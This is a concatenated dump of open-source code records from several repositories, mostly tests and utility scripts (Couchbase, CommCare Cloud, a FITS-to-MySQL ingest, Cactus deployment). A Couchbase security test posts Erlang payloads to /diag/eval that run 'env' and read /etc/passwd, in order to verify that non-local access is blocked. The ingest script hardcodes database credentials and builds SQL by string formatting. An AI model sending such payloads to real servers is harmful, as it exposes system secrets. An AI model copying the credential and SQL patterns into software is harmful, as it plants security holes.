suite.addTest(formatter.suite(COMMENT_TEST_CASES, comment_setup, __file__,\n comment_teardown, ('ticket', 2)))\n return suite\n\nif __name__ == '__main__':\n unittest.main(defaultTest='suite')\n", "source": "arielnetworks/trac", "license": "BSD-3-Clause"} {"text": "\"\"\"\nTest CSS loaders\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom django.conf import settings\nfrom django.test import TestCase\nfrom django.test import override_settings\n\nfrom django_inlinecss.css_loaders import StaticfilesFinderCSSLoader\nfrom django_inlinecss.css_loaders import StaticfilesStorageCSSLoader\n\n\n@override_settings(STATICFILES_DIRS=[settings.STATIC_ROOT], STATIC_ROOT='')\nclass StaticfilesFinderCSSLoaderTestCase(TestCase):\n def setUp(self):\n self.loader = StaticfilesFinderCSSLoader()\n super(StaticfilesFinderCSSLoaderTestCase, self).setUp()\n\n def test_loads_existing_css_file(self):\n css = self.loader.load('bar.css')\n self.assertIn('div.bar {', css)\n\n def test_load_file_does_not_exist(self):\n with self.assertRaises(IOError) as e:\n self.loader.load('missing.css')\n\n self.assertEqual(str(e.exception), 'missing.css does not exist')\n\n\nclass StaticfilesStorageCSSLoaderTestCase(TestCase):\n def setUp(self):\n self.loader = StaticfilesStorageCSSLoader()\n super(StaticfilesStorageCSSLoaderTestCase, self).setUp()\n\n def test_loads_existing_css_file(self):\n css = self.loader.load('bar.css')\n self.assertIn('div.bar {', css)\n\n def test_load_file_does_not_exist(self):\n with self.assertRaises(IOError) as e:\n self.loader.load('missing.css')\n\n self.assertEqual(e.exception.strerror, 'No such file or directory')\n", "source": "EndevelCZ/django-inlinecss", "license": "MIT"} {"text": "\nimport pytest\nimport unittest\n\n\nclass TestMain(unittest.TestCase):\n\n def setUp(self):\n pass\n\n", "source": "manwithadodla/quality-assessment-protocol", "license": "BSD-3-Clause"} {"text": "# Copyright 2019 The Bazel Authors. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http:#www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport os\nimport csv\nimport socket\nimport getpass\n\nimport logger\n\n\ndef export_csv(data_directory, filename, data, project_source, platform):\n \"\"\"Exports the content of data to a csv file in data_directory\n\n Args:\n data_directory: the directory to store the csv file.\n filename: the name of the .csv file.\n data: the collected data to be exported.\n project_source: either a path to the local git project to be built or a\n https url to a GitHub repository.\n platform: the platform on which benchmarking was run.\n\n Returns:\n The path to the newly created csv file.\n \"\"\"\n if not os.path.exists(data_directory):\n os.makedirs(data_directory)\n csv_file_path = os.path.join(data_directory, filename)\n logger.log('Writing raw data into csv file: %s' % str(csv_file_path))\n\n with open(csv_file_path, 'w') as csv_file:\n hostname = socket.gethostname()\n username = getpass.getuser()\n csv_writer = csv.writer(csv_file)\n csv_writer.writerow([\n 'project_source', 'project_commit', 'bazel_commit', 'run', 'cpu',\n 'wall', 'system', 'memory', 'command', 'expressions', 'hostname',\n 'username', 'options', 'exit_status', 'started_at', 'platform'\n ])\n\n for (bazel_commit, project_commit), results_and_args in data.items():\n command, expressions, options = results_and_args['args']\n for idx, run in enumerate(results_and_args['results'], start=1):\n csv_writer.writerow([\n project_source, project_commit, bazel_commit, idx, run['cpu'],\n run['wall'], run['system'], run['memory'], command, expressions,\n hostname, username, options, run['exit_status'], run['started_at'],\n platform\n ])\n return csv_file_path\n\n", "source": "Qinusty/bazel-bench", "license": "Apache-2.0"} {"text": "import time\nimport logger\n\nfrom basetestcase import BaseTestCase\nfrom memcacheConstants import ERR_NOT_FOUND\nfrom castest.cas_base import CasBaseTest\nfrom couchbase_helper.documentgenerator import BlobGenerator\nfrom mc_bin_client import MemcachedError\n\nfrom membase.api.rest_client import RestConnection, RestHelper\nfrom memcached.helper.data_helper import VBucketAwareMemcached, MemcachedClientHelper\nfrom ep_mc_bin_client import MemcachedClient, MemcachedError\nimport json\nfrom lib.couchbase_helper.tuq_generators import JsonGenerator\n\nfrom remote.remote_util import RemoteMachineShellConnection\n\n\n\"\"\"\n\nCapture basic get, set operations, also the meta operations. This is based on some 4.1.1 test which had separate\nbugs with incr and delete with meta and I didn't see an obvious home for them.\n\nThis is small now but we will reactively add things\n\nThese may be parameterized by:\n - full and value eviction\n - DGM and non-DGM\n\n\n\n\"\"\"\n\n\n\nclass basic_ops(BaseTestCase):\n\n def setUp(self):\n super(basic_ops, self).setUp()\n self.src_bucket = RestConnection(self.master).get_buckets()\n\n def tearDown(self):\n super(basic_ops, self).tearDown()\n\n def do_basic_ops(self):\n\n KEY_NAME = 'key1'\n KEY_NAME2 = 'key2'\n CAS = 1234\n self.log.info('Starting basic ops')\n\n rest = RestConnection(self.master)\n client = VBucketAwareMemcached(rest, 'default')\n mcd = client.memcached(KEY_NAME)\n\n # MB-17231 - incr with full eviction\n rc = mcd.incr(KEY_NAME, 1)\n print 'rc for incr', rc\n\n\n\n # MB-17289 del with meta\n\n\n rc = mcd.set(KEY_NAME, 0,0, json.dumps({'value':'value2'}))\n print 'set is', rc\n cas = rc[1]\n\n\n # wait for it to persist\n persisted = 0\n while persisted == 0:\n opaque, rep_time, persist_time, persisted, cas = client.observe(KEY_NAME)\n\n\n try:\n rc = mcd.evict_key(KEY_NAME)\n\n except MemcachedError as exp:\n self.fail(\"Exception with evict meta - {0}\".format(exp) )\n\n CAS = 0xabcd\n # key, value, exp, flags, seqno, remote_cas\n\n try:\n #key, exp, flags, seqno, cas\n rc = mcd.del_with_meta(KEY_NAME2, 0, 0, 2, CAS)\n\n\n\n except MemcachedError as exp:\n self.fail(\"Exception with del_with meta - {0}\".format(exp) )\n\n # Reproduce test case for MB-28078\n def do_setWithMeta_twice(self):\n\n mc = MemcachedClient(self.master.ip, 11210)\n mc.sasl_auth_plain(self.master.rest_username, self.master.rest_password)\n mc.bucket_select('default')\n\n try:\n mc.setWithMeta('1', '{\"Hello\":\"World\"}', 3600, 0, 1, 0x1512a3186faa0000)\n except MemcachedError as error:\n self.log.info(\"\" % (error.status, error.message))\n self.fail(\"Error on First setWithMeta()\")\n\n stats = mc.stats()\n self.log.info('curr_items: {} and curr_temp_items:{}'.format(stats['curr_items'], stats['curr_temp_items']))\n self.log.info(\"Sleeping for 5 and checking stats again\")\n time.sleep(5)\n stats = mc.stats()\n self.log.info('curr_items: {} and curr_temp_items:{}'.format(stats['curr_items'], stats['curr_temp_items']))\n\n try:\n mc.setWithMeta('1', '{\"Hello\":\"World\"}', 3600, 0, 1, 0x1512a3186faa0000)\n except MemcachedError as error:\n stats = mc.stats()\n self.log.info('After 2nd setWithMeta(), curr_items: {} and curr_temp_items:{}'.format(stats['curr_items'], stats['curr_temp_items']))\n if int(stats['curr_temp_items']) == 1:\n self.fail(\"Error on second setWithMeta(), expected curr_temp_items to be 0\")\n else:\n self.log.info(\"\" % (error.status, error.message))\n\n def generate_docs_bigdata(self, docs_per_day, start=0, document_size=1024000):\n json_generator = JsonGenerator()\n return json_generator.generate_docs_bigdata(end=docs_per_day, start=start, value_size=document_size)\n\n def test_large_doc_size_1MB(self):\n # bucket size =256MB, when Bucket gets filled 236MB then the test starts failing\n # document size =2MB, No of docs = 221 , load 250 docs\n # epengine.basic_ops.basic_ops.test_large_doc_size_1MB,skip_cleanup=True,document_size=1024000,dgm_run=True\n docs_per_day = 10\n document_size = self.input.param('document_size')\n # generate docs with size >= 1MB , See MB-29333\n gens_load = self.generate_docs_bigdata(docs_per_day=(25 * docs_per_day), document_size=document_size)\n self.load(gens_load, buckets=self.src_bucket, verify_data=False, batch_size=10)\n\n # check if all the documents(250) are loaded else the test has failed with \"Memcached Error 134\"\n mc = MemcachedClient(self.master.ip, 11210)\n mc.sasl_auth_plain(self.master.rest_username, self.master.rest_password)\n mc.bucket_select('default')\n stats = mc.stats()\n self.assertEquals(int(stats['curr_items']), 250)\n\n\n def test_large_doc_size_2MB(self):\n # bucket size =256MB, when Bucket gets filled 236MB then the test starts failing\n # document size =2MB, No of docs = 108 , load 150 docs\n # epengine.basic_ops.basic_ops.test_large_doc_size_2MB,skip_cleanup = True,document_size=2048000,dgm_run=True\n docs_per_day = 5\n document_size = self.input.param('document_size')\n # generate docs with size >= 1MB , See MB-29333\n gens_load = self.generate_docs_bigdata(docs_per_day=(25 *docs_per_day), document_size=document_size)\n self.load(gens_load, buckets=self.src_bucket, verify_data=False, batch_size=10)\n\n # check if all the documents(125) are loaded else the test has failed with \"Memcached Error 134\"\n mc = MemcachedClient(self.master.ip, 11210)\n mc.sasl_auth_plain(self.master.rest_username, self.master.rest_password)\n mc.bucket_select('default')\n stats = mc.stats()\n self.assertEquals(int(stats['curr_items']), 125)\n\n def test_large_doc_20MB(self):\n # test reproducer for MB-29258,\n # Load a doc which is greater than 20 MB with compression enabled and check if it fails\n # check with compression_mode as active, passive and off\n document_size= self.input.param('document_size', 20)\n gens_load = self.generate_docs_bigdata(docs_per_day=1, document_size=(document_size * 1024000))\n self.load(gens_load, buckets=self.src_bucket, verify_data=False, batch_size=10)\n\n mc = MemcachedClient(self.master.ip, 11210)\n mc.sasl_auth_plain(self.master.rest_username, self.master.rest_password)\n mc.bucket_select('default')\n stats = mc.stats()\n if (document_size > 20):\n self.assertEquals(int(stats['curr_items']), 0) # failed with error \"Data Too Big\" when document size > 20MB\n else:\n self.assertEquals(int(stats['curr_items']), 1)\n gens_update = self.generate_docs_bigdata(docs_per_day=1, document_size=(21 * 1024000))\n self.load(gens_update, buckets=self.src_bucket, verify_data=False, batch_size=10)\n stats = mc.stats()\n self.assertEquals(int(stats['curr_items']), 1)\n\n def test_diag_eval_curl(self):\n # Check if diag/eval can be done only by local host\n # epengine.basic_ops.basic_ops.test_diag_eval_curl,disable_diag_eval_non_local=True\n\n port = self.master.port\n\n # check if local host can work fine\n cmd=[]\n cmd_base = 'curl http://{0}:{1}@localhost:{2}/diag/eval '.format(self.master.rest_username,\n self.master.rest_password, port)\n command = cmd_base + '-X POST -d \\'os:cmd(\"env\")\\''\n cmd.append(command)\n command = cmd_base + '-X POST -d \\'case file:read_file(\"/etc/passwd\") of {ok, B} -> io:format(\"~p~n\", [binary_to_term(B)]) end.\\''\n cmd.append(command)\n\n shell = RemoteMachineShellConnection(self.master)\n for command in cmd:\n output, error = shell.execute_command(command)\n self.assertNotEquals(\"API is accessible from localhost only\", output[0])\n\n # Disable allow_nonlocal_eval\n if self.disable_diag_eval_on_non_local_host:\n command = cmd_base + '-X POST -d \\'ns_config:set(allow_nonlocal_eval, false).\\''\n output, error = shell.execute_command(command)\n\n # check ip address on diag/eval will not work fine when allow_nonlocal_eval is disabled\n cmd=[]\n cmd_base = 'curl http://{0}:{1}@{2}:{3}/diag/eval '.format(self.master.rest_username,\n self.master.rest_password, self.master.ip, port)\n command = cmd_base + '-X POST -d \\'os:cmd(\"env\")\\''\n cmd.append(command)\n command = cmd_base + '-X POST -d \\'case file:read_file(\"/etc/passwd\") of {ok, B} -> io:format(\"~p~n\", [binary_to_term(B)]) end.\\''\n cmd.append(command)\n\n for command in cmd:\n output, error = shell.execute_command(command)\n if self.disable_diag_eval_on_non_local_host:\n self.assertEquals(\"API is accessible from localhost only\", output[0])\n else:\n self.assertNotEquals(\"API is accessible from localhost only\", output[0])\n\n def verify_stat(self,items, value=\"active\" ):\n mc = MemcachedClient(self.master.ip, 11210)\n mc.sasl_auth_plain(self.master.rest_username, self.master.rest_password)\n mc.bucket_select('default')\n stats = mc.stats()\n self.assertEquals(stats['ep_compression_mode'], value)\n self.assertEquals(int(stats['ep_item_compressor_num_compressed']), items)\n self.assertNotEquals(int(stats['vb_active_itm_memory']), int(stats['vb_active_itm_memory_uncompressed']))\n\n def test_compression_active_and_off(self):\n '''\n test reproducer for MB-29272,\n Load some documents with compression mode set to active\n get the cbstats\n change compression mode to off and wait for minimum 250ms\n Load some more documents and check the compression is not done\n epengine.basic_ops.basic_ops.test_compression_active_and_off,items=10000,compression_mode=active\n\n :return:\n '''\n # Load some documents with compression mode as active\n gen_create = BlobGenerator('eviction', 'eviction-', self.value_size, end=self.num_items)\n gen_create2 = BlobGenerator('eviction2', 'eviction2-', self.value_size, end=self.num_items)\n self._load_all_buckets(self.master, gen_create, \"create\", 0)\n self._wait_for_stats_all_buckets(self.servers[:self.nodes_init])\n self._verify_stats_all_buckets(self.servers[:self.nodes_init])\n\n remote = RemoteMachineShellConnection(self.master)\n for bucket in self.buckets:\n # Verify the stat or compression_mode active and compressed items should be 10000\n self.verify_stat(items=self.num_items)\n\n # change compression mode to off\n output, _ = remote.execute_couchbase_cli(cli_command='bucket-edit',\n cluster_host=\"localhost:8091\",\n user=self.master.rest_username,\n password=self.master.rest_password,\n options='--bucket=%s --compression-mode off' % bucket.name)\n self.assertTrue(' '.join(output).find('SUCCESS') != -1, 'compression mode set to off')\n\n # sleep for 10 sec (minimum 250sec)\n time.sleep(10)\n\n # Load data and check stats to see compression is not done for newly added data\n self._load_all_buckets(self.master, gen_create2, \"create\", 0)\n self._wait_for_stats_all_buckets(self.servers[:self.nodes_init])\n self._verify_stats_all_buckets(self.servers[:self.nodes_init])\n\n for bucket in self.buckets:\n # Verify the stat for compression_mode off and compressed items should be still 10000\n self.verify_stat(items=self.num_items, value=\"off\")\n\n def do_get_random_key(self):\n # MB-31548, get_Random key gets hung sometimes.\n self.log.info(\"Creating few docs in the bucket\")\n rest = RestConnection(self.master)\n client = VBucketAwareMemcached(rest, 'default')\n key = \"test_docs-\"\n for index in range(1000):\n doc_key = key + str(index)\n client.memcached(doc_key).set(doc_key, 0, 0,\n json.dumps({'value': 'value1'}))\n\n self.log.info(\"Performing random_gets\")\n mc = MemcachedClient(self.master.ip, 11210)\n mc.sasl_auth_plain(self.master.rest_username,\n self.master.rest_password)\n mc.bucket_select('default')\n\n count = 0\n while (count < 1000000):\n count = count + 1\n try:\n mc.get_random_key()\n except MemcachedError as error:\n self.fail(\"\" % (error.status,\n error.message))\n if count % 1000 == 0:\n self.log.info('The number of iteration is {}'.format(count))\n\n", "source": "GauthamBanasandra/testrunner", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\n(C) Guangcai Ren \nAll rights reserved\ncreate time '2020/7/22 15:34'\n\nUsage:\n\n\"\"\"\n\nfrom tests import TestBase\n\n\nclass TestGetMany(TestBase):\n\n def test_params(self, client):\n \"\"\"\n \u6d4b\u8bd5\u53c2\u6570 \u683c\u5f0f\u9519\u8bef\n :param client:\n :return:\n \"\"\"\n try:\n client.get('api/get_many?keys=1&use_prefix=0')\n assert False\n except Exception as _:\n assert True\n", "source": "Rgcsh/distributed_redis_sdk", "license": "MIT"} {"text": "# coding=utf-8\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nfrom __future__ import unicode_literals\nimport inspect\nimport os\nimport sys\nfrom collections import OrderedDict\nfrom textwrap import dedent\n\nfrom clint.textui import puts\n\nfrom commcare_cloud.cli_utils import print_command\nfrom commcare_cloud.colors import color_error\nfrom commcare_cloud.commands.ansible.downtime import Downtime\nfrom commcare_cloud.commands.deploy.command import Deploy\nfrom commcare_cloud.commands.migrations.couchdb import MigrateCouchdb\nfrom commcare_cloud.commands.migrations.copy_files import CopyFiles\nfrom commcare_cloud.commands.secrets import Secrets, MigrateSecrets\nfrom commcare_cloud.commands.sentry import ExportSentryEvents\nfrom commcare_cloud.commands.terraform.aws import AwsList, AwsFillInventory, AwsSignIn\nfrom commcare_cloud.commands.terraform.openvpn import OpenvpnActivateUser, OpenvpnClaimUser\nfrom commcare_cloud.commands.terraform.terraform import Terraform\nfrom commcare_cloud.commands.terraform.terraform_migrate_state import TerraformMigrateState\nfrom commcare_cloud.commands.validate_environment_settings import ValidateEnvironmentSettings\nfrom .argparse14 import ArgumentParser, RawTextHelpFormatter\n\nfrom .commands.ansible.ansible_playbook import (\n AnsiblePlaybook,\n UpdateConfig, AfterReboot, BootstrapUsers, DeployStack,\n UpdateUsers, UpdateUserPublicKey, UpdateSupervisorConfs,\n)\nfrom commcare_cloud.commands.ansible.service import Service\nfrom .commands.ansible.run_module import RunAnsibleModule, RunShellCommand, Ping, SendDatadogEvent\nfrom .commands.fab import Fab\nfrom .commands.inventory_lookup.inventory_lookup import Lookup, Ssh, Mosh, DjangoManage, Tmux, ForwardPort\nfrom .commands.ansible.ops_tool import ListDatabases, CeleryResourceReport, PillowResourceReport, \\\n CouchDBClusterInfo, UpdateLocalKnownHosts, PillowTopicAssignments\nfrom commcare_cloud.commands.command_base import CommandBase, Argument, CommandError\nfrom .environment.paths import (\n get_available_envs,\n put_virtualenv_bin_on_the_path,\n)\nfrom six.moves import shlex_quote\n\nCOMMAND_GROUPS = OrderedDict([\n ('housekeeping', [\n ValidateEnvironmentSettings,\n UpdateLocalKnownHosts,\n ]),\n ('ad-hoc', [\n Lookup,\n Ssh,\n Mosh,\n RunAnsibleModule,\n RunShellCommand,\n SendDatadogEvent,\n DjangoManage,\n Tmux,\n ExportSentryEvents,\n PillowTopicAssignments,\n ]),\n ('operational', [\n Secrets,\n MigrateSecrets,\n Ping,\n AnsiblePlaybook,\n DeployStack,\n UpdateConfig,\n AfterReboot,\n BootstrapUsers,\n UpdateUsers,\n UpdateUserPublicKey,\n UpdateSupervisorConfs,\n Fab,\n Deploy,\n Service,\n MigrateCouchdb,\n Downtime,\n CopyFiles,\n ListDatabases,\n CeleryResourceReport,\n PillowResourceReport,\n CouchDBClusterInfo,\n Terraform,\n TerraformMigrateState,\n AwsSignIn,\n AwsList,\n AwsFillInventory,\n OpenvpnActivateUser,\n OpenvpnClaimUser,\n ForwardPort,\n ])\n])\n\nCOMMAND_TYPES = sorted(\n [cmd for group in COMMAND_GROUPS.values() for cmd in group],\n key=lambda cmd: cmd.command,\n)\n\n\ndef run_on_control_instead(args, sys_argv):\n argv = sys_argv[1:]\n argv.remove('--control')\n executable = 'commcare-cloud'\n branch = getattr(args, 'branch', 'master')\n default_virtualenv = \"ansible\" if sys.version_info[0] == 2 else \"cchq\"\n venv = os.environ.get(\"CCHQ_VIRTUALENV\", default_virtualenv)\n cmd_parts = [\n executable, args.env_name, 'ssh', 'control[0]', '-t',\n '{env}cd ~/commcare-cloud && git fetch --prune && git checkout {branch} '\n '&& git reset --hard origin/{branch} && source ~/init-ansible && {cchq} {cchq_args}'\n .format(\n env=('export CCHQ_VIRTUALENV=%s; ' % venv if venv else ''),\n branch=branch,\n cchq=executable,\n cchq_args=' '.join(shlex_quote(arg) for arg in argv),\n )\n ]\n\n print_command(' '.join([shlex_quote(part) for part in cmd_parts]))\n os.execvp(executable, cmd_parts)\n\n\ndef make_command_parser(available_envs, formatter_class=RawTextHelpFormatter,\n subparser_formatter_class=None, prog=None, add_help=True, for_docs=False):\n if subparser_formatter_class is None:\n subparser_formatter_class = formatter_class\n parser = ArgumentParser(formatter_class=formatter_class, prog=prog, add_help=add_help)\n if available_envs:\n env_name_kwargs = dict(choices=available_envs)\n else:\n env_name_kwargs = dict(metavar='')\n parser.add_argument('env_name', help=(\n \"server environment to run against\"\n ), **env_name_kwargs)\n Argument('--control', action='store_true', help=\"\"\"\n Run command remotely on the control machine.\n\n You can add `--control` _directly after_ `commcare-cloud` to any command\n in order to run the command not from the local machine\n using the local code,\n but from from the control machine for that environment,\n using the latest version of `commcare-cloud` available.\n\n It works by issuing a command to ssh into the control machine,\n update the code, and run the same command entered locally but with\n `--control` removed. For long-running commands,\n you will have to remain connected to the the control machine\n for the entirety of the run.\n \"\"\").add_to_parser(parser)\n subparsers = parser.add_subparsers(dest='command')\n\n commands = {}\n\n for command_type in COMMAND_TYPES:\n assert issubclass(command_type, CommandBase), command_type\n cmd = command_type(subparsers.add_parser(\n command_type.command,\n help=inspect.cleandoc(command_type.help).splitlines()[0],\n aliases=command_type.aliases,\n description=inspect.cleandoc(command_type.help),\n formatter_class=subparser_formatter_class,\n add_help=add_help)\n )\n cmd.make_parser(for_docs=for_docs)\n commands[cmd.command] = cmd\n for alias in cmd.aliases:\n commands[alias] = cmd\n return parser, subparsers, commands\n\n\ndef call_commcare_cloud(input_argv=sys.argv):\n # throw error if user is attempting to use python 2\n if not os.environ.get(\"TRAVIS_TEST\") and sys.version_info[0] == 2:\n exit(dedent(\"\"\"\n Error: you must upgrade to Python 3. Python 2 is no longer supported.\n\n To setup Python 3.6, see\n https://dimagi.github.io/commcare-cloud/setup/installation.html\n \"\"\"))\n\n put_virtualenv_bin_on_the_path()\n parser, subparsers, commands = make_command_parser(available_envs=get_available_envs())\n\n raw_args = input_argv[1:]\n if not raw_args:\n parser.print_help()\n return\n\n args, unknown_args = parser.parse_known_args(raw_args)\n\n if args.control:\n run_on_control_instead(args, input_argv)\n\n try:\n exit_code = commands[args.command].run(args, unknown_args)\n except CommandError as e:\n puts(color_error(str(e), bold=True))\n return 1\n\n return exit_code\n\n\ndef main():\n exit_code = call_commcare_cloud()\n if exit_code != 0:\n exit(exit_code)\n\n\nif __name__ == '__main__':\n main()\n", "source": "rameshganne/commcare-cloud", "license": "BSD-3-Clause"} {"text": "import pandas as pd\nimport os\nfrom autopredict.classification import autoClassify\nfrom autopredict.features import rankFeatures\n\n\npd.set_option('display.max_columns',50000)\npd.set_option('display.width', 500000)\n\n#print(os.listdir())\n# load the data into a dataframe\ndf = pd.read_csv('iris.csv')\n\n# set target and feature values\n\nX=df.drop('Species',axis=1)\ny=df['Species']\n\n\n# step 1 Feature Importance/Evaluation\n\n# rankFeatures is a function in autopredict which you\n# can use for feature evaluation it will give you the ranking of your features\n# based on importance , with the most important feature starting from 1\nprint(y.dtypes)\nprint(rankFeatures(X,y))\n################ Output #############\n# Column-name Importance-Rank\n# 0 Petal.Width 1.0\n# 1 Petal.Length 1.5\n# 2 Sepal.Length 3.0\n# 3 Sepal.Width 3.0\n\n\n## step 2 Train the model/evaluate\n\n\n################ sample usage 1 ########################\n# the below fit statement trains the model\n#model = autoClassify(scaler='standard',useGridtuning=False,gridDict = None).fit(X,y)\n# model = autoClassify(scaler=None,useGridtuning=False,gridDict = None).fit(X,y)\n#print(model.getModelScores())\n################ sample usage 2 ########################\n## the below fit statement trains the model using grid search parameters to do\n## hyper parameter tuning\n#model = autoClassify(scaler='standard',useGridtuning=True,gridDict = None).fit(X,y)\n\n####### sample useage 3#################################\n##### the below fit uses grid tuning to fit models but over-rides\n### auto-predict's base grid search parameters and models\n\n\n### get the score board\n#print(model.getModelScores())\n#print(model._predict_df)\n\n## step 3 if you want to get a model object back to predict ouput\n\n# below gets the best model object\n#model_obj = model.getBestModel()\n\n## to predict using the model object use the below statement\n## model_obj.predict(validTestData)\n\n## in case you want to get a specific model and apply that use below code\n#print(model.getModelObject('DecisionTreeClassifier'))\n\ngrid = {'LogisticRegression':{'penalty':['l2']\n ,'C':[0.001,0.1,1,10]}\n ,'DecisionTreeClassifier': {'max_depth':[4,5,6,7,8,9,10]}\n\n ,'GaussianNB':{}\n ,'RandomForestClassifier':{'n_estimators':[100,500,1000],'max_depth':[4,5]}\n ,'GradientBoostingClassifier':{'learning_rate':[0.01,0.1,0.2,0.3],'n_estimators':[1000]}\n }\n\n\n\nmodel = autoClassify(scaler='standard',useGridtuning=True,gridDict = grid).fit(X,y)\nprint(model.getModelScores())\n", "source": "slatawa/autopredict", "license": "Apache-2.0"} {"text": "import os\nimport pyfits\nimport MySQLdb\nimport time\n\ndef insnowt (mjd, objtype, fits, cur) :\n if os.path.getsize(fits) != 34424640 : return\n print fits\n hdulist = pyfits.open(fits)\n hdr = hdulist[0].header\n dt = hdr['date-obs']\n yr = int(dt[0:4]); mn = int(dt[5:7]); dy = int(dt[8:10]); hr = int(dt[11:13]); mi = int(dt[14:16]); se = int(dt[17:19])\n ss = time.mktime((yr, mn, dy, hr, mi, se, 0, 0, 0)) - time0\n #mjd = int(ss / 60 / 60 / 24)\n hr24 = hr\n if hr < 4 : hr24 = hr + 24 \n tim = (hr24 + 8 - 12) * 3600 + mi * 60 + se\n sn = int(hdr['obsnum'])\n if mjd == 7051 and hr24 < 13 and sn > 100 : sn+=9000\n if mjd == 7009 and hr24 < 14 and sn > 60 : sn +=9000\n if mjd == 7010 and se == 15 : sn += 9000\n if mjd == 7017 and objtype == 'BIAS' : sn+=9000\n if mjd == 7134 and objtype == 'BIAS' and sn < 100 : sn+=9000\n if mjd == 7382 and objtype == 'FLAT' and sn == 154 : sn+=9000\n if mjd == 7022 and sn == 6 and se == 3 : sn = 16\n if mjd == 7022 and sn == 141 and mi == 10 : sn += 9000\n if mjd == 6752 and sn == 2 and mi == 46 : sn += 9000\n obj = hdr['object'].strip()\n fil = hdr['filter'].strip()\n ext = float(hdr['exptime'])\n try : \n ra = float(hdr['objctra']) * 15.0\n except :\n ra = 0.0\n try : \n dec = float(hdr['objctdec'])\n except :\n dec = 0.0\n fid = '%4.4dN%4.4d'%(mjd, sn)\n sql = \"INSERT INTO ObsFileBasic (FileID, MJD, ObsTime, SN, ObjType, Object, Filter, ExpTime, RADeg, DecDeg, Tag, FileName, Note) \" + \\\n \"VALUES ('%s', %d, %d, %d, '%s', '%s', '%s', %f, %f, %f, 0, '%s', '')\" % \\\n (fid, mjd, tim, sn, objtype, obj, fil, ext, ra, dec, fits)\n try :\n cur.execute(sql)\n except:\n print sql\n exit()\n\ndb = MySQLdb.connect('localhost', 'uvbys', 'uvbySurvey', 'survey')\ncur = db.cursor()\n\nbasepath = '/data/raw/XAO/'\n\ntime0 = time.mktime((1995,10,10,12,0,0,0,0,0)) #JD 2450000.5\n\nruns = [basepath+p+'/' for p in os.listdir(basepath) if os.path.isdir(basepath+p)]\nfor run in runs :\n\n days = [p for p in os.listdir(run) if os.path.isdir(run+p)]\n \n for day in days :\n\n yr = int(day[0:4]); mn = int(day[4:6]); dy = int(day[6:8])\n mjd = (time.mktime((yr, mn, dy, 12, 0, 0, 0, 0, 0)) - time0) / 60 / 60 / 24\n print 'J%4.4d : %s' % (mjd, day)\n dayp = run+day+'/'\n\n pp = dayp+'BIAS/'\n if os.path.exists(pp) :\n ff = [pp+f for f in os.listdir(pp) if os.path.isfile(pp+f)]\n for f in ff :\n insnowt(mjd, 'BIAS', f, cur)\n db.commit()\n\n pp = dayp+'FLAT/'\n if os.path.exists(pp) :\n ff = [pp+f for f in os.listdir(pp) if os.path.isfile(pp+f)]\n for f in ff :\n insnowt(mjd, 'FLAT', f, cur)\n db.commit()\n\n pp = dayp+'uvby_survey/'\n if os.path.exists(pp) :\n oo = [pp+f+'/' for f in os.listdir(pp) if os.path.isdir(pp+f)]\n for o in oo :\n ff = [o+f for f in os.listdir(o) if os.path.isfile(o+f)]\n for f in ff :\n insnowt(mjd, 'OBJECT', f, cur)\n db.commit()\n\n\ndb.close()\n\n", "source": "RapidLzj/201603", "license": "Apache-2.0"} {"text": "#coding:utf-8\nimport os\nimport logging\n\nfrom cactus.deployment.file import BaseFile\nfrom cactus.utils.filesystem import fileList\nfrom cactus.utils.helpers import get_or_prompt, memoize, map_apply\nfrom cactus.utils.parallel import multiMap, PARALLEL_DISABLED\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass BaseDeploymentEngine(object):\n FileClass = BaseFile\n CredentialsManagerClass = None #TODO: Define interface?\n\n config_bucket_name = None\n config_bucket_website = None\n\n _index_page = \"index.html\"\n _error_page = \"error.html\"\n\n _connection = None\n\n def __init__(self, site):\n \"\"\"\n :param site: An instance of cactus.site.Site\n \"\"\"\n self.site = site\n self.credentials_manager = self.CredentialsManagerClass(self)\n\n def deploy(self):\n self.configure()\n\n # Upload all files concurrently in a thread pool\n mapper = multiMap if self.site._parallel > PARALLEL_DISABLED else map_apply\n totalFiles = mapper(lambda p: p.upload(), self.files())\n\n return totalFiles\n\n def _ignore_file(self, path):\n\n if os.path.basename(path).startswith(\".\"):\n return True\n\n # Special case for Finder Icon files\n if \"\\r\" in os.path.basename(path):\n return True\n\n return False\n\n\n @memoize\n def files(self):\n \"\"\"\n List of build files.\n \"\"\"\n return [self.FileClass(self, file_path) for file_path in fileList(\n self.site.build_path, relative=True) if self._ignore_file(file_path) is False]\n\n def total_bytes(self):\n \"\"\"\n Total size of files to be uploaded\n \"\"\"\n return sum([f.total_bytes for f in self.files()])\n\n def total_bytes_uploaded(self):\n \"\"\"\n Total size of files to be uploaded\n \"\"\"\n return sum([f.total_bytes_uploaded for f in self.files()])\n\n def progress(self):\n \"\"\"\n Progress of upload in percentage\n \"\"\"\n total_bytes = float(self.total_bytes())\n total_bytes_uploaded = float(self.total_bytes_uploaded())\n\n if total_bytes == 0 or total_bytes_uploaded == 0:\n return 0.0\n\n return total_bytes_uploaded / total_bytes\n\n\n def get_connection(self):\n if self._connection is None:\n self._connection = self._create_connection()\n return self._connection\n\n def _create_connection(self):\n \"\"\"\n Should return a Connection object\n \"\"\"\n raise NotImplementedError()\n\n def get_bucket(self):\n \"\"\"\n Should return a Bucket object, None if the bucket does not exist.\n \"\"\"\n raise NotImplementedError()\n\n def create_bucket(self):\n \"\"\"\n Should create and return a Bucket object.\n \"\"\"\n raise NotImplementedError()\n\n def get_website_endpoint(self):\n \"\"\"\n Should return the Website endpoint for the bucket.\n \"\"\"\n #TODO: Normalize -- rackspace gives an URL, but Amazon gives a domain name\n raise NotImplementedError()\n\n def configure(self):\n \"\"\"\n This is when the DeploymentEngine should configure itself to prepare for deployment\n\n :rtype: None\n \"\"\"\n self.bucket_name = get_or_prompt(self.site.config, self.config_bucket_name, self.site.ui.prompt_normalized,\n \"Enter the bucket name (e.g.: 